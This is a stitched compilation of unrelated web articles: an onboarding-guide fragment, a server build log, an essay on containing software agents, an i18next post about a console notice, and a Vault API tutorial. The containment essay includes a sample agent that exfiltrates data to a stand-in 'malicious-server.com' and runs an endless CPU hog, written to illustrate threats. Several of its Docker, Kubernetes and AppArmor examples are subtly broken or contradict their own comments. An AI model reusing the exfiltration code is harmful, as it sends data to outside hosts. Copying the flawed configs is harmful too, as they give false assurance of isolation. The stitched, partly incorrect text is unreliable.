  3. They are where your first tasks will probably be
  47 src/services/order_service.py
  31 src/api/routes/orders.py
  28 src/models/order.py
  19 tests/test_order_service.py
  12 src/utils/pricing.py

This output tells you the order system is the hot zone. Your first PR will probably touch these files. Read them next.

Bonus — read recent PR descriptions:

# If using GitHub
gh pr list --state merged --limit 10

# Read a specific PR's description and comments
gh pr view 142

PR descriptions often contain more context than commit messages. They explain why changes were made, not just what changed.

What NOT to Do

Three mistakes new developers make when reading a codebase:

Do not read every file sequentially. A 200K-line codebase is not a book. Reading src/a.py through src/z.py builds no mental model. Trace flows instead.

Do not memorize implementation details. You do not need to know how the caching layer works on day one. You need to know it exists and where it lives. Details come when you work on a task that touches them.

Do not skip the config files. package.json and pyproject.toml tell you the truth about the project. README files tell you what someone hoped the project would become.

The 30-Minute Template

Copy this checklist for your first day on any codebase:

[  ] 0:00 - Run tree -L 2, paste into AI, get structure overview
[  ] 0:05 - Read pyproject.toml / package.json, identify stack
[  ] 0:10 - Find entry point (grep for main/app creation)
[  ] 0:12 - Trace one request from route to database
[  ] 0:20 - Read one test file matching the flow you traced
[  ] 0:25 - Run git log frequency analysis, find hot files
[  ] 0:30 - Write 5 bullet points: what the app does, how it works

That last step matters. Writing a summary forces your brain to organize what you learned. Keep it in a personal notes file. Update it as you learn more.

After the First 30 Minutes

The 30-minute method gives you a working mental model. Not a complete one — a working one. Enough to:

  • Ask informed questions in your first standup
  • Understand which files a bug report probably touches
  • Review a PR without feeling completely lost
  • Pick up your first task without starting from zero

Every week, trace one more flow through the codebase. Within a month, you will know the system better than developers who have been there for years but never mapped it systematically.

The codebase is not a mystery. It is a system with entry points, flows, and patterns. Map the structure, trace the flows, read the tests, check the history. AI accelerates each step, but the method works with or without it.

Follow @klement_gunndu for more beginner-friendly AI content. We’re building in public.

Two servers, two philosophies: local bots and a new Hetzner frontier

The split is intentional

The M900 Tiny runs the bots. Hetzner runs everything new.

That’s not an accident — it’s a deliberate architectural choice that emerged from a real decision earlier this year. When the question came up of whether to migrate the grid bots to cloud, the answer was no. Not because the cloud is bad, but because the bots already had a working home with zero additional infrastructure cost, and moving them would eat into P&L without improving performance.

So the machine stays. And when something new needs hosting — something that isn’t a bot, something that benefits from a public IP and isolation — Hetzner is the answer.

That’s what valvestudio.io is.

What’s starting

As of this week, a new Hetzner project is live (empty — no servers yet, but the foundation is there). valvestudio.io is a new project spinning up.

No public details yet — just an API key, a blank Hetzner project, and a plan.

The architecture pattern will be familiar: start minimal, deploy progressively, add infrastructure as needed rather than upfront. No 5-server setup for a project that doesn’t have users yet.

The infrastructure split in practice

Layer Where Why
Grid trading bots M900 Tiny (local) Zero infra cost, stable, isolated from new experiments
AI agent (m900) M900 Tiny (local) Same box, same context, no latency overhead
New projects Hetzner VPS Public IP, isolated, €4–6/month per server
Code / logs GitHub Public record, free

This keeps the critical (bots, agent) separate from the experimental (new deployments). A bad deploy on Hetzner doesn’t touch the bots. A bot issue doesn’t affect whatever is running on Hetzner.

Clean separation of failure domains.

Why bare metal still wins for bots

The cloud argument sounds compelling: flexibility, scaling, managed infra. But for a script running on cron every 5 minutes, hitting exchange APIs, reading/writing a few KB of state — that’s not a cloud workload.

The M900 Tiny has been running continuously for months. The bots are in steady state. The monthly cost is electricity, which is already being paid for the machine to exist.

Moving that to Hetzner would cost real money (€10–20/month) in exchange for… what, exactly? Faster deploys? The bots deploy by copying a Python file and restarting a cron job. There’s nothing to optimize.

The cloud is for things that benefit from cloud: horizontal scaling, global distribution, managed databases, public endpoints. None of that applies here.

The pattern for new projects

Start with the minimum. One VPS. No load balancer, no managed DB, no Kubernetes. Get something running, validate it, then add infrastructure if the project survives first contact with reality.

Most projects don’t reach the scale where the fancy infrastructure matters. The bottleneck is almost never the server.

Week 13 closes

This week: operational discipline, automated publishing, architecture decisions, and a new project on the horizon.

The bots are quiet. The agent is running. The next thing to build has a name.

Infrastructure: M900 Tiny (local) + Hetzner Cloud

Source: github.com/jmolinasoler/build-log

Go hard on agents, not on your filesystem!

The increasing prevalence of autonomous agents, from sophisticated AI models executing complex tasks to distributed microservices orchestrating critical workflows, necessitates a re-evaluation of fundamental security and operational paradigms. Traditional system security has often placed a heavy emphasis on filesystem permissions and access control lists (ACLs) as primary mechanisms for resource protection. While indispensable, this filesystem-centric approach exhibits significant limitations when confronted with the dynamic, unpredictable, and potentially resource-intensive nature of modern agents. The emerging principle, “Go hard on agents, not on your filesystem,” advocates for shifting the primary focus of security and control from the passive protection of resources to the active, comprehensive containment and supervision of the agents themselves.

Limitations of Filesystem-Centric Security

Filesystem permissions, epitomized by POSIX discretionary access control (DAC) models and extended ACLs, form a cornerstone of Unix-like operating system security. These mechanisms dictate which users or groups can read, write, or execute specific files and directories.

For instance, a typical set of permissions might restrict write access to a sensitive directory:

drwxr-xr-x  2 user group 4096 Oct 27 10:00 /var/www/html

Here, only user can modify files within /var/www/html. If an agent runs as a different user, its direct ability to tamper with these files is constrained. Mandatory Access Control (MAC) systems like SELinux or AppArmor extend this with policy-based restrictions, allowing administrators to define fine-grained rules that govern process interactions with files, network sockets, and other kernel objects, overriding DAC decisions.

However, relying solely on filesystem controls presents several critical deficiencies in an agent-driven architecture:

  1. Granularity and Complexity: Managing precise filesystem permissions for every temporary file, log, or configuration an agent might interact with is arduous. Agents often require dynamic creation and deletion of temporary data, making static ACLs unwieldy. Overly permissive ACLs, granted for operational convenience, introduce significant attack surfaces.
  2. Blind Spots Beyond File I/O: Filesystem permissions offer no protection against numerous other attack vectors and operational hazards:
    • Resource Exhaustion: An agent can consume excessive CPU cycles, memory, or network bandwidth, leading to denial of service for other processes, without touching a single sensitive file.
    • Network Access: An agent might perform unauthorized network requests (e.g., exfiltrate data, initiate command-and-control communication) without modifying local files.
    • Inter-Process Communication (IPC): Shared memory segments, message queues, or pipes can be exploited for data leakage or privilege escalation without explicit filesystem interaction.
    • System Call Abuse: Certain system calls, while not directly manipulating files, can lead to system instability, information disclosure, or privilege escalation (e.g., ptrace, mmap with specific flags, arbitrary kernel module loading).
    • Logical Flaws and Business Logic Bypass: Filesystem controls cannot prevent an agent from performing authorized but malicious actions within an application’s context (e.g., an AI agent intentionally mislabeling data if its internal reward function is compromised).
    • Privilege Escalation: A vulnerability allowing an agent to execute arbitrary code with elevated privileges can bypass filesystem restrictions entirely by changing its effective user ID or by exploiting kernel vulnerabilities.

Consider a Python agent designed to process sensor data. If its execution environment is only protected by filesystem permissions, it might still pose risks:

import os
import requests
import time
import sys

# Assume this script runs with limited filesystem permissions
# but its execution environment is not otherwise contained.

def process_data(data):
    # Simulate data processing that might consume CPU
    _ = [i*i for i in range(1_000_000)]
    return f"Processed: {data}"

def exfiltrate_data(data):
    # This might bypass filesystem protections if network access is allowed
    try:
        response = requests.post("http://malicious-server.com/upload", json={"data": data})
        print(f"Data exfiltration attempt: {response.status_code}")
    except requests.exceptions.ConnectionError:
        print("Could not connect to exfiltration server.")

def create_resource_hog():
    # This loop could consume CPU indefinitely
    print("Starting CPU hog...", file=sys.stderr)
    while True:
        _ = 1 + 1 # Simulate arbitrary computation
        time.sleep(0.001)

if __name__ == "__main__":
    if os.getenv("EXFILTRATE_MODE") == "true":
        exfiltrate_data("Sensitive sensor data")
    elif os.getenv("HOG_MODE") == "true":
        create_resource_hog()
    else:
        print(process_data("Some sensor reading"))

In this example, even if the script cannot write to /etc or /usr/local/bin, it can still initiate network connections to a malicious server or consume all available CPU resources, severely impacting system stability. Filesystem permissions alone are insufficient to mitigate these threats.

Principles of Agent-Centric Security

The “go hard on agents” philosophy shifts focus to comprehensive control over the agent’s execution environment and capabilities from instantiation to termination. This proactive approach involves several key principles:

  1. Execution Isolation: Agents must operate within strict boundaries that prevent uncontrolled interaction with the host system or other agents. This compartmentalization limits the blast radius of a compromised or misbehaving agent.
  2. Resource Control: Explicit limits on computational resources (CPU, memory, I/O, network bandwidth) ensure that an agent cannot starve the host or other critical services.
  3. System Call Interception and Filtering: Granular control over the system calls an agent can make prevents it from performing actions outside its defined purpose, even if it manages to execute arbitrary code.
  4. Network Segmentation and Policy Enforcement: Agents should only be able to communicate with specified network endpoints and protocols, preventing unauthorized data exfiltration or lateral movement.
  5. Principle of Least Privilege (at Runtime): An agent should only possess the minimum set of permissions and capabilities absolutely necessary to perform its designated task, and these privileges should be dynamically adjustable or revoked.
  6. Comprehensive Observability and Monitoring: Detailed logging, metrics, and tracing of agent behavior are essential for detecting anomalies, debugging issues, and post-mortem analysis.
  7. Ephemeral Environments: Agents, especially those performing transient tasks, should ideally run in ephemeral environments that are provisioned on demand and destroyed immediately after task completion, leaving no persistent state or artifacts.

Architectural Patterns and Technologies for Agent Containment

Implementing agent-centric security relies on a stack of robust technologies and architectural patterns.

Containerization

Container runtimes like Docker, Podman, and containerd are foundational. They leverage Linux kernel features to provide lightweight isolation.

  • Namespaces: Provide process (PID), mount (MNT), network (NET), inter-process communication (IPC), user (USER), and hostname (UTS) isolation. Each agent within a container perceives its own isolated view of these resources.
  • Control Groups (cgroups): Enforce resource limits for CPU, memory, block I/O, and network I/O. This directly addresses the resource exhaustion problem.

Example of running an agent with resource limits using Docker:

docker run -d 
  --cpus="0.5"              # Limit to 50% of one CPU core
  --memory="256m"           # Limit memory to 256MB
  --network="isolated-net"  # Attach to a specific, isolated network
  --read-only               # Mount root filesystem as read-only
  -v /tmp/agent-data:/data  # Allow specific data volume for read/write
  --cap-drop=ALL            # Drop all Linux capabilities
  --security-opt=no-new-privileges  # Prevent privilege escalation
  my-agent-image:latest

This command demonstrates several “go hard on agents” principles: resource limits, network segmentation, read-only root filesystems, and strict capability dropping.

System Call Sandboxing with Seccomp BPF

Secure computing mode (seccomp) with Berkeley Packet Filter (BPF) allows for fine-grained control over system calls. A seccomp profile defines a whitelist or blacklist of allowed system calls, and the kernel intercepts and enforces these rules. This prevents agents from making unauthorized kernel interactions, even if compromised.

A typical seccomp profile might disallow chroot, mount, or network-related calls if an agent doesn’t require them.

Example of a basic seccomp profile JSON:

{
    "defaultAction": "SCMP_ACT_ERRNO",
    "syscalls": [
        {
            "names": [
                "arch_prctl", "brk", "close", "dup", "dup2", "dup3", "exit_group",
                "fcntl", "fstat", "getuid", "getpid", "getppid", "getcwd",
                "mmap", "mprotect", "munmap", "newfstatat", "openat", "pipe",
                "prctl", "read", "readlink", "rt_sigaction", "rt_sigprocmask",
                "set_robust_list", "set_tid_address", "stat", "sysinfo",
                "write", "socket", "connect", "sendto", "recvfrom"
            ],
            "action": "SCMP_ACT_ALLOW"
        }
    ]
}

This profile would permit basic file I/O, process management, and network communication, but any other system calls (e.g., execve, mount, ptrace) would trigger an error. Docker and Kubernetes allow applying such profiles to containers.

To apply this to a simple Python script, one would typically use a container runtime or a specialized sandboxing tool that interfaces with seccomp. A direct Python example demonstrating seccomp setup is complex as it requires low-level system calls or wrapper libraries, but conceptually:

import os
import ctypes

# Hypothetical wrapper for seccomp (requires libseccomp or direct syscalls)
# In a real scenario, this would be handled by a container runtime or a seccomp library.
def setup_seccomp_profile(profile_path):
    # This is a conceptual placeholder.
    # Actual implementation would involve calling `seccomp_load` from a C library
    # or invoking a tool that does this.
    print(f"Loading seccomp profile from {profile_path}")
    # ... logic to load the profile and enforce it ...
    pass

if __name__ == "__main__":
    if os.getenv("SANDBOX_MODE") == "true":
        # In a real system, the container runtime would do this
        # or a C program would execute this Python script after setting seccomp.
        # setup_seccomp_profile("/etc/seccomp/my_agent_profile.json")
        pass # Assuming container runtime handled it

    # This agent attempts to open a network socket
    # If network-related syscalls are blocked by seccomp, this will fail with EPERM
    import socket
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("8.8.8.8", 53))
        print("Connected to 8.8.8.8:53 (DNS server)")
        s.close()
    except Exception as e:
        print(f"Failed to connect to network: {e}")

    # This agent tries to fork, which might be blocked
    try:
        pid = os.fork()
        if pid == 0:
            print("Child process created.")
            os._exit(0)
        else:
            print(f"Parent process, child PID: {pid}")
            os.waitpid(pid, 0)
    except OSError as e:
        print(f"Failed to fork process: {e}")

If a seccomp profile were loaded that explicitly disallowed socket or fork system calls, the corresponding operations would fail with an EPERM error, demonstrating proactive agent containment.

Virtualization and Micro-VMs

For the highest level of isolation, especially in multi-tenant environments or for executing untrusted code, virtualization remains paramount.

  • Traditional VMs (KVM, Xen): Offer strong isolation at the hardware level, but come with higher resource overhead and slower startup times.
  • Micro-VMs (Firecracker, gVisor): These provide VM-like isolation with container-like speed and resource efficiency. Firecracker, for instance, focuses on minimal guest OS overhead, purpose-built for serverless functions and ephemeral workloads. gVisor intercepts system calls at the user-space level, creating a secure kernel boundary around a container.

These technologies effectively create a “hard shell” around the agent, limiting its ability to interact with the underlying host OS kernel, thereby addressing complex privilege escalation paths that might bypass namespace/cgroup isolation.

Linux Security Modules (LSMs)

LSMs like SELinux and AppArmor, while often associated with filesystem controls, are powerful tools for agent containment. They enforce Mandatory Access Control (MAC) policies that govern all security-relevant operations, including network access, IPC, and arbitrary system calls, not just file operations. An AppArmor profile can be explicitly written to restrict what an agent process can do:

# AppArmor profile for my-agent
# This profile aims to restrict the agent significantly.

## /etc/apparmor.d/my-agent-profile
profile my-agent flags=(attach_disconnected, complain) {
  # Deny all network access by default
  deny network,

  # Deny any capability usage
  deny capability,

  # Restrict process creation
  deny ptrace,
  deny /usr/bin/** px,
  deny /bin/** px,

  # Allow execution of the agent itself (assuming it's in /usr/local/bin)
  /usr/local/bin/my-agent r,
  /usr/local/bin/my-agent ix, # Execute only

  # Allow read access to specific configuration
  /etc/my-agent/config.json r,

  # Allow specific temporary directory creation and use (e.g., for logs)
  /var/log/my-agent/ rw,
  /var/log/my-agent/** rwkl,

  # Deny all other file system access
  deny /home/** rwklx,
  deny /root/** rwklx,
  deny /tmp/** rwklx, # Unless explicitly allowed via separate rule
  deny /** rwlkmix, # Default deny for everything else

  # Allow basic system libraries for execution
  owner /lib{,64}/ld-*.so* rm,
  owner /lib{,64}/lib*.so* rm,
  owner /usr/lib{,64}/lib*.so* rm,
  owner @{PROC}/[0-9]*/status r,
  owner @{PROC}/[0-9]*/maps r,
  owner @{PROC}/[0-9]*/comm r,
}

This AppArmor profile is a strong example of “going hard on agents” by defining precisely what the my-agent process is allowed to do, regardless of its user ID or group memberships.

Service Mesh and API Gateways

For agents communicating over a network, a service mesh (e.g., Istio, Linkerd) or an API Gateway can enforce granular network policies, authentication, and authorization at the application layer. This adds another layer of control, ensuring that even if an agent manages to make a network call, it is only to authorized services via allowed APIs.

  • Network Policies (Kubernetes): Define how pods (containing agents) are allowed to communicate with each other and external network endpoints.
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: deny-all-egress
spec:
  podSelector:
    matchLabels:
      app: my-agent
  policyTypes:
    - Egress
  egress:
    # Allow communication only to DNS (UDP port 53)
    # and a specific internal service
    - to:
        - ipBlock:
            cidr: 0.0.0.0/0
            except:
              - 10.0.0.0/8 # Internal network
      ports:
        - protocol: UDP
          port: 53
    - to:
        - podSelector:
            matchLabels:
              app: internal-api
      ports:
        - protocol: TCP
          port: 8080

This Kubernetes NetworkPolicy explicitly defines the allowed egress traffic for pods labeled app: my-agent, blocking all other outgoing connections.

Ephemeral Execution Environments

The practice of provisioning temporary, isolated environments for agents that are destroyed after a single execution cycle is crucial. This ensures that any residual state, malware, or vulnerabilities introduced during an agent’s run are completely purged, preventing persistence or lateral spread. Technologies like serverless functions (AWS Lambda, Google Cloud Functions) inherently provide this ephemerality. Custom orchestration can achieve this with containers or micro-VMs.

Challenges and Considerations

While the “go hard on agents” philosophy offers significant security advantages, its implementation presents several challenges:

  1. Performance Overhead: Strict isolation mechanisms like micro-VMs or extensive system call filtering inherently introduce some performance overhead due to context switching, virtualization, or interception logic. A balance must be struck between security and performance requirements.
  2. Complexity of Policy Definition: Crafting comprehensive and correct security policies (e.g., seccomp profiles, AppArmor rules, network policies) for a diverse set of agents, each with unique requirements, can be complex and error-prone. Misconfigured policies can lead to operational failures or security gaps.
  3. Debugging and Observability: Highly constrained environments can make debugging challenging. Robust logging, tracing, and monitoring tools are essential to understand why an agent might be failing or misbehaving under strict policies.
  4. Supply Chain Security: Runtime containment protects against an agent’s actions, but not against vulnerabilities or malicious code embedded within the agent itself during development or build time. Secure supply chain practices (code review, static analysis, dependency scanning) remain critical.
  5. Dynamic Adaptation: Agents, especially AI models, can evolve. Their operational requirements might change, necessitating dynamic adjustments to security policies without compromising the overall security posture. This demands automation and continuous policy validation.

Conclusion

The evolution of computing, characterized by increasingly autonomous and intelligent agents, demands a fundamental shift in how we approach system security. Relying predominantly on static filesystem permissions is an outdated and insufficient strategy. The principle “Go hard on agents, not on your filesystem” advocates for a proactive, comprehensive approach to agent containment, focusing on the rigorous control of their execution environments, resource consumption, system call interactions, and network access.

By leveraging technologies such as containerization, micro-virtualization, system call sandboxing (seccomp), Mandatory Access Control (LSMs), and network segmentation (service meshes, network policies), organizations can build robust defenses that isolate agents and mitigate a wide array of threats that extend far beyond simple file manipulation. While these approaches introduce complexity and potential performance considerations, the enhanced security posture and resilience gained are indispensable for the secure operation of modern agent-driven systems. A deliberate architectural choice towards comprehensive agent containment is not merely an improvement but a necessity in safeguarding critical infrastructure from the sophisticated challenges posed by today’s digital landscape.

For advanced consulting services in designing and implementing secure, agent-centric architectures and robust cybersecurity solutions, please visit https://www.mgatc.com.

Originally published in Spanish at www.mgatc.com/blog/go-hard-on-agents-not-on-your-filesystem/

Why We Added a Console Notice to i18next — and Why We Removed It

i18next turns 15 this year. It has almost 15 million weekly npm downloads,
powers applications in every industry across the world, and is maintained
by a small core team — the same people who founded Locize.

This is the story of a decision we made, what it cost, and why we reversed it.

The sustainability problem nobody talks about

Open source maintainers are expected to deliver production-grade software,
respond to issues, fix security vulnerabilities, and keep pace with a
fast-moving ecosystem — for free.

We’ve tried the standard approaches:

  • GitHub Sponsors — the numbers were honest and we’re grateful for every
    contributor, but they never came nearly close to funding even a minimal part of a single full-time engineer.
  • README badges and funding links — almost no one reads them.
  • NPM funding metadata — same story.

The reality is that i18next exists today because of Locize — our own
managed localization product, built by the i18next core team to fund the
library’s continued development. Every security fix, every new feature,
every improvement is made possible because Locize pays for the
time to build it.

The problem: most i18next users don’t know this. They use the library,
file issues, request features, and have no idea how it stays maintained.
We’re not complaining — that’s the nature of open source. But it does
create a real tension.

What we decided to do

In v25.8.0, we introduced a single console.info line that appeared
when i18next initialized:

🌐 i18next is made possible by our own product, Locize — consider powering your project with managed localization (AI, CDN, integrations): https://locize.com 💙

The reasoning was straightforward. console.info is a developer-facing
channel. It doesn’t affect your end users, it doesn’t break builds, it
doesn’t affect performance. And it reaches the one audience we actually
wanted to reach: the developers who choose which tools their teams use.

We provided an opt-out via showSupportNotice: false, and
later added a globalThis kill-switch for PaaS and third-party dependency
scenarios, and an I18NEXT_NO_SUPPORT_NOTICE (and later also a NODE_ENV=production) environment variable for
CI/CD pipelines.

What happened next

The developer community responded — loudly, and with legitimate concerns.

The loudest complaints were about developer experience: the notice
appearing multiple times in Next.js builds, flooding test logs, appearing
inside design systems that consumers couldn’t configure. We addressed most
of these iteratively: improving the deduplication logic, adding the
globalThis kill-switch, documenting the suppression options properly.

But the complaint that made us think hardest came from a PaaS provider
who filed a detailed incident report. Their claim: the console notice may
have caused Google Safe Browsing to block hundreds of customer sites.

We investigated carefully. Our honest technical assessment is that
console.info output is not evaluated by Google Safe Browsing — GSB scans
DOM content, not console output, and a link to locize.com in the console
would have to affect our own platform and thousands of direct users if that
were the mechanism. We still believe the actual cause was unrelated to
the notice.

But here’s what we couldn’t dismiss: the reporter had a real production
incident, affecting real customers, and the only change they made — adding
the globalThis kill-switch at the infrastructure level via a Cloudflare
worker — correlated with the block being lifted. We can argue about
causation. We cannot argue about the operational burden that placed on them.

And we made a mistake in our response: we suggested a “bad actor on a
subdomain” as the likely root cause. That was an assumption that didn’t
fit their specific setup — they don’t host user-generated content — and
we shouldn’t have made it. We apologized for that.

What the data actually showed

We tracked where new Locize registrations came from, based on an optional
“how did you hear about us?” field at signup. Over approximately two months
and 226 responses:

Source Signups Share
Google / Search 88 39%
i18next ecosystem 46 20%
Other / Noise 33 14.6%
AI tools (ChatGPT, Gemini, etc.) 15 6.6%
Console notice (explicit) 14 6.2%
Word of mouth 11 4.8%
GitHub / npm / docs 10 4.4%
Blog posts 10 4.4%

14 people explicitly cited the console notice. The “i18next ecosystem”
bucket likely includes more who saw it but described it differently.
The notice drove some awareness. Not zero.

Why we’re removing it

We’re removing the notice in v26.0.0, and we want to be clear: this
is not capitulation to pressure. We still believe the sustainability
argument is correct. We still believe console.info is a legitimate
channel. We still believe Locize is a fair way to fund open source.

We’re removing it because when we weigh the costs and benefits honestly,
the math has changed:

  • The production friction — PaaS providers, library authors, third-party
    dependency scenarios — turned out to be more complex than we anticipated.
  • The edge cases were real: CI pipelines, test logs, design systems,
    environments where suppression required infrastructure-level intervention.
  • The community cost — issues filed, trust eroded, developers who saw
    it as a betrayal of open source principles — was higher than we expected.
  • The conversion impact was real, and we’re not convinced it would grow faster than the community cost it was accumulating.

v26.0.0 is a major release with several breaking changes and modernization
work. Removing the notice cleanly — including the showSupportNotice
option, the globalThis mechanism, and the env var — fits naturally into
that release.

How you can actually support i18next

If this post resonated with you, here’s what actually helps:

  • Try Locize. It’s built by the i18next team, integrates deeply with
    the ecosystem, and there’s also a free plan to get started.
    If it fits your workflow, it directly funds the library you’re using.
  • Tell your team or decision-makers. If your company uses i18next in
    production, knowing that Locize funds its development is relevant
    information for anyone evaluating localization tooling.
  • Mention it when it comes up. When someone asks about i18next in your
    community or on social media, it costs nothing to mention that Locize
    is how the library stays maintained.

We’re not going anywhere. i18next will keep improving. The team is the
same, the commitment is the same, and the library remains fully free and
MIT-licensed.

We just learned something about how to talk about that — and we’re
adjusting accordingly.

— The i18next / Locize team

HashiCorp Vault Has a Free API: Here’s How to Use It for Secrets Management

HashiCorp Vault provides a complete HTTP API for managing secrets, encryption keys, database credentials, and access policies. The open-source version is free and gives you enterprise-grade secrets management.

Why Use the Vault API?

  • Centralize all secrets in one secure location
  • Rotate database credentials automatically
  • Encrypt sensitive data without managing keys
  • Audit every secret access with detailed logs

Getting Started

# Start Vault in dev mode
vault server -dev

export VAULT_ADDR='http://127.0.0.1:8200'
export VAULT_TOKEN='your-root-token'

# Store a secret
curl -s -H "X-Vault-Token: $VAULT_TOKEN" 
  -X POST "$VAULT_ADDR/v1/secret/data/myapp/config" 
  -d '{"data": {"db_password": "supersecret", "api_key": "abc123"}}' | jq .

# Read a secret
curl -s -H "X-Vault-Token: $VAULT_TOKEN" 
  "$VAULT_ADDR/v1/secret/data/myapp/config" | jq '.data.data'

Python Client

import requests

class VaultClient:
    def __init__(self, addr='http://127.0.0.1:8200', token=None):
        self.addr = addr
        self.headers = {'X-Vault-Token': token}

    def read_secret(self, path):
        resp = requests.get(f"{self.addr}/v1/secret/data/{path}", headers=self.headers)
        if resp.status_code == 200:
            return resp.json()['data']['data']
        return None

    def write_secret(self, path, data):
        resp = requests.post(
            f"{self.addr}/v1/secret/data/{path}",
            json={'data': data},
            headers=self.headers
        )
        return resp.json()

    def delete_secret(self, path):
        resp = requests.delete(f"{self.addr}/v1/secret/data/{path}", headers=self.headers)
        return resp.status_code == 204

    def list_secrets(self, path):
        resp = requests.request('LIST', f"{self.addr}/v1/secret/metadata/{path}", headers=self.headers)
        if resp.status_code == 200:
            return resp.json()['data']['keys']
        return []

# Usage
vault = VaultClient(token='your-root-token')

# Store application secrets
vault.write_secret('myapp/production', {
    'database_url': 'postgres://prod-server:5432/mydb',
    'redis_url': 'redis://prod-cache:6379',
    'stripe_key': 'sk_live_xxxxx',
    'jwt_secret': 'my-jwt-signing-key'
})

# Read secrets in your app
config = vault.read_secret('myapp/production')
print(f"DB: {config['database_url']}")

Dynamic Database Credentials

# Enable database secrets engine
curl -s -H "X-Vault-Token: $VAULT_TOKEN" 
  -X POST "$VAULT_ADDR/v1/sys/mounts/database" 
  -d '{"type": "database"}'

# Configure PostgreSQL connection
curl -s -H "X-Vault-Token: $VAULT_TOKEN" 
  -X POST "$VAULT_ADDR/v1/database/config/mydb" 
  -d '{
    "plugin_name": "postgresql-database-plugin",
    "connection_url": "postgresql://{{username}}:{{password}}@localhost:5432/mydb",
    "allowed_roles": ["readonly", "readwrite"],
    "username": "vault_admin",
    "password": "admin_password"
  }'

# Create a role
curl -s -H "X-Vault-Token: $VAULT_TOKEN" 
  -X POST "$VAULT_ADDR/v1/database/roles/readonly" 
  -d '{
    "db_name": "mydb",
    "creation_statements": ["CREATE ROLE "{{name}}" WITH LOGIN PASSWORD '''{{password}}''' VALID UNTIL '''{{expiration}}''' INHERIT; GRANT SELECT ON ALL TABLES IN SCHEMA public TO "{{name}}";"],
    "default_ttl": "1h",
    "max_ttl": "24h"
  }'

# Get temporary credentials (auto-expire in 1 hour!)
curl -s -H "X-Vault-Token: $VAULT_TOKEN" 
  "$VAULT_ADDR/v1/database/creds/readonly" | jq '{username: .data.username, password: .data.password, ttl: .lease_duration}'

Encryption as a Service

import base64

def encrypt(vault, plaintext, key_name='my-key'):
    encoded = base64.b64encode(plaintext.encode()).decode()
    resp = requests.post(
        f"{vault.addr}/v1/transit/encrypt/{key_name}",
        json={'plaintext': encoded},
        headers=vault.headers
    )
    return resp.json()['data']['ciphertext']

def decrypt(vault, ciphertext, key_name='my-key'):
    resp = requests.post(
        f"{vault.addr}/v1/transit/decrypt/{key_name}",
        json={'ciphertext': ciphertext},
        headers=vault.headers
    )
    encoded = resp.json()['data']['plaintext']
    return base64.b64decode(encoded).decode()

# Encrypt sensitive data
ciphertext = encrypt(vault, 'SSN: 123-45-6789')
print(f"Encrypted: {ciphertext}")

# Decrypt when needed
plaintext = decrypt(vault, ciphertext)
print(f"Decrypted: {plaintext}")

Application Integration Pattern

import os
from functools import lru_cache

class AppConfig:
    def __init__(self):
        self.vault = VaultClient(
            addr=os.environ.get('VAULT_ADDR', 'http://127.0.0.1:8200'),
            token=os.environ.get('VAULT_TOKEN')
        )
        self._env = os.environ.get('APP_ENV', 'development')

    @lru_cache(maxsize=1)
    def get_config(self):
        return self.vault.read_secret(f'myapp/{self._env}')

    @property
    def database_url(self):
        return self.get_config()['database_url']

    @property
    def redis_url(self):
        return self.get_config()['redis_url']

    def refresh(self):
        self.get_config.cache_clear()

config = AppConfig()
print(config.database_url)

Real-World Use Case

A healthcare company stored 500+ database passwords in a shared spreadsheet. After a security audit, they migrated to Vault with dynamic credentials. Every application now gets unique, time-limited database credentials that auto-expire. When an employee leaves, no password rotation needed — their Vault token is simply revoked.

What You Can Build

  • Secrets management platform for your organization
  • Dynamic credential system with auto-rotation
  • Encryption service for sensitive data at rest
  • PKI infrastructure for internal TLS certificates
  • Access audit system tracking who accessed what secrets

Need custom security automation? I build DevOps tools and infrastructure solutions.

Email me: [email protected]
Check out my developer tools: https://apify.com/spinov001